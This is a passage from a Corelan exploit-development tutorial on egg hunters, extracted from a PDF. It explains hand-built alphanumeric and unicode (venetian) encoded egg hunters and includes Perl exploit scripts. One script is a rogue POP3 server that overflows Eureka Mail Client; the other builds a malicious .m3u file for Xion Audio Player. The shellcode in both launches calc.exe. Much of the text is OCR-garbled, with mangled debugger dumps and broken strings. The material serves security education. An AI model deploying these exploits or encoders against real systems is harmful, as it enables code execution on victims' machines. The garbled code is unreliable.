2D	314B5555	SUB EAX,55554B31
2D	35515555	SUB EAX, 55555135
50		PUSH EAX
41		INC ECX
41		INC ECX
25	4A4D4E55	AND EAX,554E4D4A
25	3532312A	AND EAX, 2A313235
2D	21555555	SUB EAX, 55555521
2D	21545555	SUB EAX, 55555421
2D	496F556D	SUB EAX, 6D556F49
50		PUSH EAX
41		INC ECX
41		INC ECX
25	4A4D4E55	AND EAX,554E4D4A
25	3532312A	AND EAX, 2A313235
2D	71216175	SUB EAX,75612171
	71216175	SUB EAX,75612171
2D		SUB EAX,6553476F
		,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

wow - that doesn't look like the egg hunter we know, does it ?

Let' see what it does. The first 4 instructions empty EAX (2 logical AND operations) and the pointer in ESP is put on the stack (which points to the beginning of the encoded egghunter). Next, this value is popped into EAX. So EAX effectively points to the beginning of the egghunter after these 4 instructions :

25 4A4D4E55	AND EAX,554E4D4A	
25 3532312A	AND EAX,2A313235	
54	PUSH ESP	
58	POP EAX	
50	FUF LAA	

Next, the value in EAX is changed (using a series of SUB instructions). Then the new value in EAX is pushed onto the stack, and ECX is increased with 2 :

2D 314D5555	SUB EAX,55554D31
2D 314B5555	SUB EAX,55554B31
2D 35515555	SUB EAX,55555135
50	PUSH EAX
41	INC ECX
41	INC ECX

(The value that is calculated in EAX is going to be important later on ! I'll get back to this in a minute)

Then, eax is cleared again (2 AND operations), and using the 3 SUB instructions on EAX, a value is pushed onto the stack.

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

01/03/2010 - 18 / 39

CPU - main thread	
0012CD6C 25 4A4D4E55 0012CD71 25 3532312A 0012CD76 54	AND EAX,554E404A
0012CD76 54 0012CD77 58 0012CD77 28 0012CD78 2D 314D5555 0012CD70 2D 314B5555 0012CD82 2D 35515555 0012CD87 50 0012CD87 50 0012CD88 41 0012CD89 41	POP ERX EDX 00240000 SUB ERX 55554031 EDX 00090344 SUB ERX 55554831 EDX 00090344 SUB ERX 55555135 EDP 0012CD68 PUSH ERX ESP 00475BFC PUSH ECX EDI 00473678
0012CD8A 25 4A4D4E55 0012CD8F 25 3532312A 0012CD94 2D 21555555 0012CD99 2D 21545555 0012CD99 2D 496F5560	AND EAX, 554E4D4A AND EAX, 554E4D4A AND EAX, 24313235 SUB EAX, 55555521 SUB EAX, 55555421 SUB EAX, 60556749 PUSH EAX PUSH EAX FUSH EAX
0012C018 50 0012C014 41 0012C015 41 0012C016 25 0012C018 25 0012C018 25 0012C018 25 0012C018 25 0012C018 20 0012C018 50 0012C018 50	INC ECX INC ECX INC ECX AND EAX,554E4D4A AND EAX,554E4D4A AND EAX,75612171 SUB EAX,75612171 SUB EAX,75612171 SUB EAX,6553476F PUSH EAX, ST0 enpty -UNORM A70E 06D90000 0120027F ST1 enpty -UNORM 027F 1F800000 00500000 ST2 enpty

So before SUB EAX,55555521 is run, EAX = 00000000. When the first SUB ran, EAX contains AAAAAADF. After the second sub, EAX contains 555556BE, and after the third SUB, eax contains E7FFE775. Then, this value is pushed onto the stack.

Wait a minute. This value looks familiar to me. 0xE7, 0xFF, 0xE7, 0x75 are in fact the last 4 bytes of the NtAccessCheckAndAuditAlarm egg hunter (in reversed order). Nice.

If you continue to run the code, you'll see that it will reproduce the original egg hunter. (but in my testcase, using a different exploit, the code does not work)

Anyways, the code muts used is in fact an encoder that will reproduce the original egg hunter, put it on the stack, and will run the reproduced code, effectively bypassing bad char limitations (because the entire custom made encoder did not use any of the bad chars.) Simply genial ! I had never seen an implementation of this encoder before this particular exploit was published. Really well done muts !

Of course, if the AND, PUSH, POP, SUB, INC opcodes are in the list of badchars as well, then you may have a problem, but you can play with the values for the SUB instructions in order to reproduce the original egg hunter, keep track of the current location where the egghunter is reproduced (on the stack) and finally "jump" to it.

How is the jump made ?

If you have to deal with a limited character set (only alphanumerical ascii-printable characters allowed for example), then a jmp esp, or push esp+ret, ... won't work because these instructions may invalid characters. If you don't have to deal with these characters, then simply add a jump at the end of the encoded hunter and you're all set.

Let's assume that the character set is limited, so we must find another way to solve this Remember when I said earlier that certain instructions were going to be important ? Well this is where it will come into play. If we cannot make the jump, we need to make sure the code starts executing automatically. The best way to do this is by writing the decoded egg hunter right after the encoded code... so when the encoded code finished reproducing the original egg hunter, it would simply start executing this reproduced egg hunter.

That means that a value must be calculated, pointing to a location after the encoded hunter, and this value must be put in ESP before starting to decode. This way, the decoder will rebuild the egg hunter and place it right after the encoded hunter. We'll have a closer look at this in the next chapter.

Seeing this code run and reproduce the original egghunter is nice, but how can you build your own decoder ?

The framework for building the encoded egghunter (or decoder if that's what you want to call it) looks like this :

- set up the stack & registers (calculate where the decoded hunter must be written. This will be the local position + length of the encoded code (which will be more or less the same size). Calculating where the decoder must be written to requires you to evaluate the registers when the encoded hunter would start running. If made your way to the encoded hunter via a jmp esp, then esp will contain the current location, and you can simply increase the value until it points to the right location.)

- reproduce each 4 bytes of the original egg hunter on the stack, right after the encoded hunter (using 2 AND's to clear out EAX, 3 SUBs to reproduce the original bytes, and a PUSH to put the reproduced code on the stack)

- When all bytes have been reproduced, the decoded egg hunter should kick in.

First, let's build the encoder for the egghunter itself. You have to start by grouping the egg hunter in sets of 4 bytes. We have to start with the last 4 bytes of the code (because we will push values to the stack each time we reproduce the original code... so at the end, the first bytes will be on top) Our NtAccessCheckAndAuditAlarm egg hunter is 32 bytes, so that's nicely aligned. But if it's not aligned, you can add more bytes (nops) to the bottom of the original egg hunter, and start bottom up, working in 4 byte groups.

\x66\x81\xCA\xFF	
\x0F\x42\x52\x6A	
\x02\x58\xCD\x2E	
\x3C\x05\x5A\x74	
\xEF\xB8\ x77\x30	;w0
\x30\x74\x8B\xFA	;0t
\xAF\x75\xEA\xAF	
\x75\xE7\xFF\xE7	

The code used by muts will effectively reproduce the egghunter (using W00T as tag). After the code has run, this is what is pushed on the stack :



Nice.

2 questions remain however : how do we jump to that egg hunter now, and what if you have to write the encoded egg hunter yourself? Let's look at how it's done : Since we have 8 lines of 4 bytes of egg hunter code, you will end up with 8 blocks of encoded code. The entire code should only using alphanumeric ascii-printable characters, and should not use any of the bad chars. (check http://www.asciitable.com/) The first printable char starts at 0×20 (space) or 0×21, and ends at 7E

Each block is used to reproduce 4 bytes of egg hunter code, using SUB instructions. The way to calculate the values to use in the SUB instructions is this :

take one line of egg hunter code, reverse the bytes !, and get its 2's complement (take all bits, invert them, and add one) (Using Windows calculator, set it to hex/dword, and calculate "0 - value"). For the last line of the egg hunter code (0×75E7FFE7 -> 0xE7FFE775) this would be 0×1800188B (= 0 - E7FFE775).

Then find 3 values that only use alphanumeric characters (ascii-printable), and are not using any of the bad chars (x40x3fx3ax2f)... and when you sum up these 3 values, you should end up at the 2's complement value ($0 \times 1800188B$ in case of the last line) again. (by the way, thanks *ekse* for working with me finding the values in the list below :-) That was fun !)

The resulting 3 values are the ones that must be used in the sub,eax <....> instructions.

Since bytes will be pushed to the stack, you have to start with the last line of the egg hunter first (and don't forget to reverse the bytes of the code), so after the last push to the stack, the first bytes of the egg hunter would be located at ESP.

In order to calculate the 3 values, I usually do this :

- calculate the 2's complement of the reversed bytes

- start with the first bytes in the 2's complement. (18 in this case), and look for 3 values that, when you add them together, they will sum up to 18. You may have to overflow in order to make it work (because you are limited to ascii-printable characters). So simply using 06+06+06 won't work as 06 is not a valid character. In that case, we need to overflow and go to 118. I usually start by taking a value somewhere between 55 (3 times 55 = 0 again) and 7F (last character). Take for example 71. Add 71 to 71 = E2. In order to get from E2 to 118, we need to add 36, which is a valid character, so we have found our first bytes (see red). This may not be the most efficient method to do this, but it works. (Tip : windows calc : type in the byte value you want to get to, divide it by 3 to know in what area you need to start looking)

Then do the same for the next 3 bytes in the 2's complement. Note : if you have to overflow to get to a certain value, this may impact the next bytes. Just add the 3 values together at the end, and if you had an overflow, you have to subtract one again from one of the next bytes in one of the 3 values. Just try, you'll see what I mean. (and you will find out why the 3rd value starts with 35 instead of 36)

Last line of the (original) egg hunter :

```
x75 xE7 xFF xE7 -> xE7 xFF xE7 x75: (2's complement : 0x1800188B)
sub eax, 0x71557130 (=> "\x2d\x30\x71\x55\x71") (Reverse again !)
sub eax, 0x71557130 (=> "\x2d\x30\x71\x55\x71")
sub eax, 0x3555362B (=> "\x2d\x28\x36\x55\x35")
=> sum of these 3 values is 0x11800188B (or 0x1800188B in dword)
```

Let's look at the other ones. Second last line of the (original) egg hunter :

```
xAF x75 xEA xAF -> xAF xEA x75 xAF: (2's complement : 0x50158A51)
sub eax, 0x71713071
sub eax, 0x71713071
sub eax, 0x6D33296F
```

and so on...

C) Peter Van Feckhoutte

```
x30 x74 x8B xFA -> xFA x8B x74 x30: (2's complement : 0x05748BD0)
sub eax, 0x65253050
sub eax, 0x65253050
sub eax, 0x3B2A2B30
```

```
xEF xB8 x77 x30 -> x30 x77 xB8 xEF: (2's complement : 0xCF884711)
sub eax, 0x41307171
sub eax, 0x41307171
sub eax, 0x4027642F
```

```
x3C x05 x5A x74 -> x74 x5A x05 x3C: (2's complement : 0x8BA5FAC4)
sub eax, 0x30305342
sub eax, 0x30305341
sub eax, 0x2B455441
```

x02 x58 xCD x2E -> x2E xCD x58 x02: (2's complement : 0xD132A7FE)

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

01/03/2010 - 20 / 39

c) Peter Van Eeckhouttie

sub eax, 0x46663054 sub eax, 0x46663055 sub eax, 0x44664755

```
x0F x42 x52 x6A -> x6A x52 x42 x0F: (2's complement : 0x95ADBDF1)
sub eax, 0x31393E50
sub eax, 0x32393E50
sub eax, 0x323B4151
```

Finally, the first line :

x66 x81 xca xff -> xff xca x81 x66 (2's complement : 0x00357E9A) sub eax, 0x55703533 sub eax, 0x55702533 sub eax, 0x5552434

Each of these blocks must be prepended with code that would zero-out EAX : Example :

```
AND EAX,554E4D4A ("\x25\x4A\x4D\x4E\x55")
AND EAX,2A313235 ("\x25\x35\x32\x31\x2A")
```

(2 times 5 bytes)

Each block must be followed by a push eax (one byte, "\x50") instruction which will put the result (one line of egg hunter code) on the stack. Don't forget about it, or your decoded egg hunter won't be placed on the stack.

So : each block will be 10 (zero eax) + 15 (decode) +1 (push eax) = 26 bytes. We have 8 blocks, so we have 208 bytes already.

Note, when converting the sub eax,<value> instructions to opcode, don't forget to reverse the bytes of the values again... so sub eax,0×476D556F would become "\x2d\x6f\x55\x6d\x47"

The next thing that we need to do is make sure that the decoded egg hunter will get executed after it was reproduced.

In order to do so, we need to write it in a predictable location and jump to it, or we need to write it directly after the encoded hunter so it gets executed automatically. If we can write in a predictable location (because we can modify ESP before the encoded hunter runs), and if we can jump to the beginning of the decoded hunter (ESP) after the encoded hunter has completed, then that will work fine.

Of course, if you character set is limited, then you may not be able to add a "jmp esp" or "push esp/ret" or anything like that at the end of the encoded hunter. If you can - then that's good news.

If that is not possible, then you will need to write the decoded egg hunter right after the encoded version. So when the encoded version stopped reproducing the orginal code, it would start executing it. In order to do this, we must calculate where we should write the decoded egg hunter to. We know the number of bytes in the encoded egg hunter, so we should try to modify ESP accordingly (and do so before the decoding process begins) so the decoded bytes would be written directly after the encoded hunter.

The technique used to modify ESP depends on the available character set. If you can only use ascii-printable characters, then you cannot use add or sub or mov operations... One method that may work is running a series of POPAD instructions to change ESP and make it point below the end of the encoded hunter. You may have to add some nops at the end of the encoded hunter, just to be on the safe side. (\x41 works fine as nop when you have to use ascii-printable characters only)

Wrap everything up, and this is what you'll get :

Code to modify ESP (popad) + Encoded hunter (8 blocks : zero out eax, reproduce code, push to stack) + some nops if necessary...

When we apply this technique to the Eureka Mail Client exploit, we get this :

```
use Socket:
#fill out the local IP or hostname
#which is used by Eureka EMail as POP3 server
#note : must be exact match !
my $localserver = "192.168.0.193";
my $couldserver = 192.100.0.193 ;
#calculate offset to EIP
my $junk = "A" x (723 - length($localserver));
my $ret=pack('V',0x7E47BCAF); #jmp esp from user32.dll
my $padding = "\x90" x 1000;
#alphanumeric ascii-printable encoded + bad chars
# tag = w00t
my $egghunter
#popad - make ESP point below the encoded hunter
"\x61\x61\x61\x61\x61\x61\x61\x61
#----8 blocks encoded hunter-----
 \x25\x4A\x4D\x4E\x55".
                               #zero eax
"\x25\x35\x32\x31\x2A"
"\x2d\x30\x71\x55\x71".
                               #x75 xE7 xFF xE7
"\x2d\x30\x71\x55\x71".
"\x2d\x2B\x36\x55\x35".
"\x50".
                               #push eax
#- ·
 \x25\x4A\x4D\x4E\x55".
                               #zero eax
"\x25\x35\x32\x31\x2A".
"\x2d\x71\x30\x71\x71".
                               #xAF x75 xEA xAF
"\x2d\x71\x30\x71\x71".
"\x2d\x6F\x29\x33\x6D".
"\x50".
                               #push eax
#----
```

Knowledge is not an object, it's a flow

"\x25\x4A\x4D\x4E\x55".	#zero eax
"\x25\x35\x32\x31\x2A". "\x2d\x50\x30\x25\x65".	# #x30 x74 x8B xFA
"\x2d\x50\x30\x25\x65".	
"\x2d\x30\x2B\x2A\x3B". "\x50".	#push eax
#	
"\x25\x4A\x4D\x4E\x55". "\x25\x35\x32\x31\x2A".	#zero eax #
"\x2d\x71\x71\x30\x41".	#xEF xB8 x77 x30
"\x2d\x71\x71\x30\x41". "\x2d\x2F\x64\x27\x4d".	
\x20\x2F\x64\x27\x40 "\x50"	#push eax
#	
"\x25\x4A\x4D\x4E\x55". "\x25\x35\x32\x31\x2A".	#zero eax #
"\x2d\x42\x53\x30\x30".	#x3C x05 x5A x74
"\x2d\x41\x53\x30\x30". "\x2d\x41\x54\x45\x2B".	
"\x50".	#push eax
# "\x25\x4A\x4D\x4E\x55".	 #======
\x25\x4A\x4D\x4E\x55 "\x25\x35\x32\x31\x2A".	#zero eax #
"\x2d\x54\x30\x66\x46".	#x02 x58 xCD x2E
"\x2d\x55\x30\x66\x46". "\x2d\x55\x47\x66\x44".	
"\x50".	#push eax
# "\x25\x4A\x4D\x4E\x55".	 #zero eax
"\x25\x35\x32\x31\x2A".	#
"\x2d\x50\x3e\x39\x31". "\x2d\x50\x3e\x39\x32".	#x0F x42 x52 x6A
\x2d\x50\x5e\x59\x52. "\x2d\x51\x41\x3b\x32".	
"\×50".	#push eax
# "\x25\x4A\x4D\x4E\x55".	#zero eax
"\x25\x35\x32\x31\x2A".	#
"\x2d\x33\x35\x70\x55". "\x2d\x33\x25\x70\x55".	#x66 x81 xCA xFF
"\x2d\x34\x24\x55\x55".	
"\x50".	#push eax
# "\x41\x41\x41\;	#some nops
· · · · · · · · · · · · · · · · · · ·	·

#calc.exe

my \$shellcode="\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" . "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x49\x4b\x4c\x4a" $\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47\$ "\x4c\x4c\x4b\x43\x4c\x43\x35\x48\x45\x51\x4a\x4f\x4c" $\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a\$ "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" "\x31\x49\x50\x4c\x59\x4e\x4c\x44\x49\x50\x43\x44\x43" "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" $\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50\$ "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x42" "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" "\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

my \$payload=\$junk.\$ret.\$egghunter.\$padding."w00tw00t".\$shellcode;

```
#set up listener on port 110
my $port=110;
my $proto=getprotobyname('tcp');
socket(SERVER, PF_INET, SOCK_STREAM, $proto);
my $paddr=sockaddr_in($port,INADDR_ANY);
bind(SERVER,$paddr);
listen(SERVER,SOMAXCONN);
print "[+] Listening on tcp port 110 [POP3]... \n";
print "[+] Configure Eureka Mail Client to connect to this host\n";
my $client_addr;
while($client_addr=accept(CLIENT,SERVER))
  print "[+] Client connected, sending evil payload\n";
  my $cnt=1;
```

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

while(\$cnt<10)

print CLIENT "-ERR ".\$payload."\n";

01/03/2010 - 22 / 39

print "	->	Sent	".length(\$payload)."	<pre>bytes\n";</pre>
\$cnt=\$cnt+1	;			

}
close CLIENT;
print "[+] Connection closed\n";

}

Eringleitsheorakaiperi corelan aynakangleit5al [P] Listening on top port 131 P0931 [+] Configure Eunaka Rail Client to connect to this h	oit5.pl	File Edit File Edit 9-Jan-2 Banka I Welcon	Email O Out	ptions		earch					
Command Prompt - perf corelan_exerclasplot Spl Phyloittivenkiper (corelan_exetaplot(5.p) =1 Lutenza et a part 31 (PPD)	Calcul	ator		<u> </u>	0 8	36		_		-121 X	
[+] Configure Eureka Mail Elient to connect to this host [+] Client connected, sending evil sealed	Edit View	v Help									
[4] Configure Europia Mail Client to connect to this host [4] Client connected, anding evil payled -> Sunt 2245 bytes -> Sunt 2245 bytes -> Sunt 2245 bytes					6		D. fr			0,	
[4] Cantigans Eurala Bail Client to convect to this hort of Client convected, sinding will payled of the Client convected, and and an end of the office of the Client of the Client Convected and the office of the Client of the Client States of the Client States		@ Dec C	0et C E	in [(* Degre		Radia		° Grad	0,	
[4] Contigure Euroka Mull Client to connect to this host [4] Client connected, sending will pagload -> Sent 226 System -> Sent 226 System	C Hex					es C Backspac	1	α (6 Grad	0, 51	
[4] Contigues Evenian Ball Claimt to convect to this hort of Claimt convected, sending will payled of the Claimt convected, sending will payled of Sent 2265 lights of Sent 2265 lights	C Hex	@ Dec C	Oct C E	in MC MR			1			0, 51	
[4] Contigues Evenian Ball Claimt to convect to this hort of Claimt convected, sending will payled of the Claimt convected, sending will payled of Sent 2265 lights of Sent 2265 lights	∩ Hex □ Inv Sta	@ Dec C	Det C E	мс	7	Backuper B	9	α	Grad	0, h C And	Ļ
[4] Cartigans Euraia Bail Claimt to convect to this hort - Sent 226 lights - Sent 226 lights	C Hex Inv Sta Ave	@ Dec C	Det C E	MC	7	8 5	9	α	Grad Mod Or	Q, h C And Xax	

You may or may not be able to use this code in your own exploit - after all, this code was handmade and based on a given list of bad chars, offset required to end up writing after encoded hunter and so on.

Just take into account that this code will be (a lot) longer (so you'll need a bigger buffer) than the unencoded/original egghunter. The code I used is 220 bytes ...

What if your payload is subject to unicode conversion ? (All your 00BB00AA005500EE are belong to us !)

Good question !

c) Peter Van Eeckhoutte

Well, there are 2 scenario's were there may be a way to make this work :

Scenario 1 : An ascii version of the payload can be found somewhere in memory.

This sometimes happens and it's worth while investigating. When data is accepted by the application in ascii, and stored in memory before it gets converted to unicode, then it may be still stored (and available) in memory when the overflow happens.

A good way to find out if your shellcode is available in ascii is by writing the shellcode to a file, and use the !pvefindaddr compare <filename> feature. If the shellcode can be found, and if it's not modified/corrupted/converted to unicode in memory, the script will report this back to you.

In that scenario, you would need to

- convert the egg hunter into venetian shellcode and get that executed. (The egg hunter code will be a lot bigger than it was when it was just ascii so available buffer space is important)

- put your real shellcode (prepended with the marker) somewhere in memory. The marker and the shellcode must be in ascii.

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

When the venetian egghunter kicks in, it would simply locate the ascii version of the shellcode in memory and execute it. Game over.

Converting the egg hunter as venetian shellcode is as easy as putting the egghunter (including the tag) in a file, and using alpha2 (or the recently released alpha3 (by skylined)) to convert it to unicode (pretty much as explained in my previous tutorial about unicode)

In case you're too tired to do it yourself, this is a unicode version of the egghunter, using w00t as tag, and using EAX as base register :

#Corelan Unicode egghunter - Basereg=EAX - tag=w00t
my \$egghunter = "PPYAIAIAIAIAQATAXAZAPA3QADAZ".
"ABARALAYAIAQAIAQAPA5AAAPAZIAIIAIAIAIJIIAIAIX".
"A58AAPAZABABQIIAIQIAIQIIIIIAIAJQIIAYAZBABABA".
"BAB30APB944JBQVEIHJKOLOPB0RBJLBQHHMNNOLM5PZ4".

01/03/2010 - 23 / 39

C) Peter Van Feckhoutte

Save the environment - don't print this document !

"4J07H2WP0P0T4TKZZF0SEZJ60T5K7K09WA";

The nice thing about unicode egg hunters is that it is easier to tweak the start location of where the egg hunter will start the search, if that would be required. Remember when we talked about this a little bit earlier ? If the egg+shellcode can be found on the stack, then why search through large pieces of memory if we can find it close to where the egg hunter is. The nice thing is that you can create egghunter code that contains null bytes, because these bytes won't be a problem here. So if you want to replace "\x66\x81\xCA\xFF\x0F" with "\x66\x81\xCA\x00\x00" to influence the start location of the hunter, then be my guest. (In fact, this is what I have done when I created the unicode egghunter, not because I had to, but merely because I wanted to try).

Scenario 2 : Unicode payload only

In this scenario, you cannot control contents of memory with ascii shellcode, so basically everything is unicode.

It's still doable, but it will take a little longer to build a working exploit.

First of all, you still need a unicode egghunter, but you will need to make sure the tag/marker is unicode friendly as well. After all, you will have to put the tag before the real shellcode (and this tag will be unicode).

In addition to that, you will need to align registers 2 times : one time to execute the egg hunter, and then a second time, between the tag and the real shellcode (so you can decode the real shellcode as well). So, in short :

- Trigger overflow and redirect execution to
- code that aligns register and adds some padding if required, and then jumps to
- unicode shellcode that would self-decode and run the egg hunter which would
- look for a double tag in memory (locating the egg unicode friendly) and then
- execute the code right after the tag, which would need to
- align register again, add some padding, and then
- execute the unicode (real) shellcode (which will decode itself again and run the final shellcode)

We basically need to build a venetian egghunter that contains a tag, which can be used to prepend the real shellcode, and is unicode friendly. In the examples above, I have used w00t as tag, which in hex is $0 \times 77, 0 \times 30, 0 \times 74$ (= w00t reversed because of little endian). So if we would replace the first and third byte with null byte, it would become $0 \times 00, 0 \times 30, 0 \times 74$ (or, in ascii : t - null - 0 - null)

A little script that will write the egghunter in a binary form to a file would be :

```
#!/usr/bin/perl
# Little script to write egghunter shellcode to file
# 2 files will be created :
# - egghunter.bin : contains w00t as tag
     egghunterunicode.bin : contains 0x00,0x30,0x00,0x74 as tag
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
my $egghunter =
    "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
    "\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
print "Writing egghunter with tag w00t to file egghunter.bin...\n";
open(FILE,">egghunter.bin");
print FILE $egghunter;
close(FILE);
print "Writing egghunter with unicode tag to file egghunter.bin...\n";
open(FILE,">egghunterunicode.bin");
print FILE "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C";
print FILE "\x05\x5A\x74\xEF\x88";
print FILE "\x00"; #null
print FILE "\x30"; #0
print FILE "\x00";
print FILE "\x00";
print FILE "\x74";
                            #null
                            #t
print FILE "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
close(FILE);
```

(as you can see, it will also write the ascii egghunter to a file - may come handy one day)

Now convert the egghunterunicode.bin to venetian shellcode :

./alpha2 eax --unicode --uppercase < egghunterunicode.bin PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZIAI IAIAIAJ1IAIAIAXA58AAPAZABABQIIAIQIAIQII111AIAJQIIAYAZBABA BABAB30APB944JBQVSQGZKOLO0RB2BJLB0XHMNNOLLEPZ3DJ06XKPNPKP RT4KZZV02UJJ60RUJGK0K7A

When building the unicode payload, you need to prepend the unicode compatible tag string to the real (unicode) shellcode : "0t0t" (without the quotes of course). When this string gets converted to unicode, it becomes $0 \times 00 \ 0 \times 30 \ 0 \times 00 \ 0 \times 30 \ 0 \times 00 \ 0 \times 74 \dots$ and that corresponds with the marker what was put in the egghunter before it was converted to unicode - see script above)

Between this 0t0t tag and the real (venetian) shellcode that needs to be placed after the marker, you may have to include register alignment, otherwise the venetian decoder will not work. If, for example, you have converted your real shellcode to venetian shellcode using eax as basereg, you'll have to make the beginning of the decoder point to the register again... If you have read tutorial part 7, you know what I'm talking about.

In most cases, the egghunter will already put the current stack address in EDI (because it uses that register to keep track of the location in memory where the egg tag is located. Right after the tag is found, this register points to the last byte of the tag). So it would be trivial to (for example) move edi into eax and increase eax until it points to the address where the venetian shellcode is located, or to just modify edi (and use venetian shellcode generated using edi as base register)

c) Peter Van Feckhoutte

The first instruction for alignment will start with null byte (because that's the last byte of the egg tag (30 00 74 00 30 00 74 00) that we have used). So we need to start alignment with an instruction that is in the 00 xx 00 form. 00 6d 00 would work (and others will work too).

Note : make sure the decoder for the venetian shellcode does not overwrite any of the egg hunter or eggs itself, as it obviously will break the exploit.

Let's see if the theory works

We'll use the vulnerability in xion audio player 1.0 build 121 again (see tutorial part 7) to demonstrate that this actually works. I'm not going to repeat all steps to build the exploit and alignments, but I have included some details about it inside the exploit script itself. Building/reading/using this exploit requires you to really master the stuff explained in tutorial part 7. So if you don't understand yet, I would strongly suggest to either read it first, or skip this exploit and move on to the next chapter.

[*] Vulnerability : Xion Audio Player Local BOF # [*] Written by : corelanc0d3r (corelanc0d3r[at]gmail[dot]com) # # Exploit based on original unicode exploit from tutorial part 7 # but this time I'm using a unicode egghunter, just for phun ! # Script provided 'as is', without any warranty. # Use for educational purposes only. my \$sploitfile="corelansploit.m3u"; my \$junk = "\x41" x 254; #offset until we hit SEH
my \$nseh="\x58\x48"; #put something into eax - simulate nop
my \$seh="\xf5\x48"; #ppr from xion.exe - unicode compatible # will also simulate nop when executed # after p/p/r is executed, we end here # in order to be able to run the unicode decoder # we need to have eax pointing at our decoder stub
we'll make eax point to our buffer # we'll do this by putting ebp in eax and then increase eax # until it points to our egghunter # dirit it point at a set of a set #now increase the address in eax so it would point to our buffer \$align = \$align."\x05\x10\x11"; #add eax,11001300 \$align=\$align."\x6d"; #align \$align=\$align."\x2d\x02\x11"; \$align=\$align."\x6d"; #align #align/nop #sub eax,11000200 #align/nop #eax now points at egghunter #jump to eax now
my \$jump = "\x50"; #push eax \$jump=\$jump."\x6d"; #nop/align \$jump=\$jump."\xc3"; #ret #fill the space between here and eax my \$padding="A" x 73; #this is what will be put at eax : my \$egghunter ="PPYAIAIAIAIAQATAXAZAPA3QADAZA". "BARALAYAIAQAIAQAPA5AAAPAZIAIIAIAIIAIAIIAAIAXA". "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB". "AB30APB944JB36CQ7ZKPKPORPR2JM2PXXMNNOLKUQJRT". "ZOVXKPNPMORT4KKJ60RUZJF02U9WK0ZGA"; # - ok so far the exploit looks the same as the one used in tutorial 7 # except for the fact that the shellcode is the unicode version of # an egghunter looking for the "OtOt" egg marker # the egghunter was converted to unicode using eax as basereg # Between the egghunter and the shellcode that it should look for I'll write some garbage (a couple of X's in this case) # So we'll pretend the real shellcode is somewhere out there my \$garbage = "X" x 50; # real shellcode (venetian, uses EAX as basereg) # will spawn calc.exe
my \$shellcode="PPYAIAIAIAIAIAQATAXAZAPA3QADAZA" BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAX" "A58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABAB". "ABAB30APB944JBKLK80TKPKPM0DK0U0LTKSLM5SHKQJ". "04K00LXTKQ0MPKQZK0YTKP44KM1ZNNQY0V96L3TWPT4". "KW7QHJLMKQWRZKL40KQDNDKTBUIUTK1004KQJK1VTKL" "LPK4K10MLM1ZK4KMLTKKQJKSY1LMTKTGSNQWPRDTK0P". "NPU5902XLLTKOPLLDK2PMLFMTKQXM8JKM94K3P6PM0K". "PKP4KQX0LQ0NQL6QPPV59KH53GP3K0PQXJPDJM4Q02H". "68KN4JLN0WK0K7QSC1RLQSKPA"; "b8KN4JLNWWK0K/QSCIRLQSKPA"; # between the egg marker and shellcode, we need to align # so eax points at the beginning of the real shellcode my \$align2 = "\x6d\x57\x6d\x58\x6d"; #nop, push edi, nop, pop eax, nop \$align2 = \$align2."\x9\x1b\xaa"; #mov ecx, 0xaa001b00 \$align2 = \$align2."\xe8\x6d"; #add al,ch + nop (increase eax with 1b) \$align2 = \$align2."\x50\x6d\xc3"; #push eax, nop, ret

c) Peter Van Eeckhouttie

#eax now points at the real shellcode

#fill up rest of space & trigger access violation
my \$filler = ("\xcc" x (15990-length(\$shellcode)));

#payload

